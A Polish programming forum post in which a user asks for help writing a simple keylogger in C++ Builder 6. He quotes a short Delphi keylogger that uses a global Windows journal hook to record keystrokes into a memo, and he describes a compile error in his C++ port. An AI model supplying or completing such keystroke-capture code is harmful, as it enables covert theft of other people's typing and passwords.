KeyLogger (Problem z HOOK-iem)

0

Witam

Czy mogl by mi ktos napisac jak zrobic prostego keyloggera ale w c++ builderze.
Prosil bym rowniez o krotki komentarz.
Wiem wiem zaraz mi odpiszecie www.google.pl -- ale nie w tym rzecz ze mi sie nie chce szukac wrecz przeciwnie -- znalazlem mnÓstwo przykladowych zrodel napisanych w delphi ogolem wydlada to tak:

function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;
var
 Buffer: TEventMsg;
begin
 result := 0 ;
 Buffer := PEventMsg(lParam)^;
 if Buffer.message = wm_KeyDown then
 Form1.Memo1.Text := Form1.Memo1.Text + chr(Buffer.paraml);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
 MainHook := SetWindowsHookEx(wh_JournalRecord, KeyHook, HInstance, 0);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
 UnhookWindowsHookEx(MainHook);
end;

Calosc opiera sie na stworzeniu globalnego doczepienia do systemu windows (tzw hooka), ktory bedzie przechwytywal komunikaty systemowe skierowane do watkow i aplikacji nim do nich dotra i przetwarzal je zgodnie z tzw funkcja filtrujaca. - Tyle ogolem i wystarczy :).
Moj problem polega na tym ze C++ builder nie buntuje sie przeciw takiemu zapisowi funkcji filtrujacej:

long int __stdcall KeyHook(int Code,  WPARAM wParam,  LPARAM lParam) //w win SDK tez znalazlem taki sposob deklaracji funkcji filtrujacej 
{
TeventMsg Buffer=*PEventMsg(lParam);
}

Natomiast za poprawny uznaje zapis funkcji filtrujacej tego typu:

int __stdcall KeyHook()
{
TeventMsg Buffer=*PEventMsg(lParam); //i skad ja mam teraz wziasc lParam
} 

A bez tych parametrow nie sposob wykonac funkcji PEventMsg(lParam) (tak na marginesie to co ta funkcja dokladnie robi - bo w helpie sie jej nie doszukalem, a na necie tez niewiele o niej pisza -- pozostaja mi tylko domysly).
Dlatego tez prosze albo o gotowy kod keyloggera pod buildera, albo wyjasnienie dlaczego tak jest i jak mozna sobie z tym poradzic.

Pozdrawiam marcellli

Ps Uzywam Buildera6

0

To jeszcze raz ja (autor postu) wkradl sie maly blad w tresc wiadomosci:

JEST: Moj problem polega na tym ze C++ builder nie buntuje sie przeciw takiemu zapisowi funkcji filtrujacej:

POWINNO BYC: Moj problem polega na tym ze C++ builder buntuje sie przeciw takiemu zapisowi funkcji filtrujacej:

1 użytkowników online, w tym zalogowanych: 0, gości: 1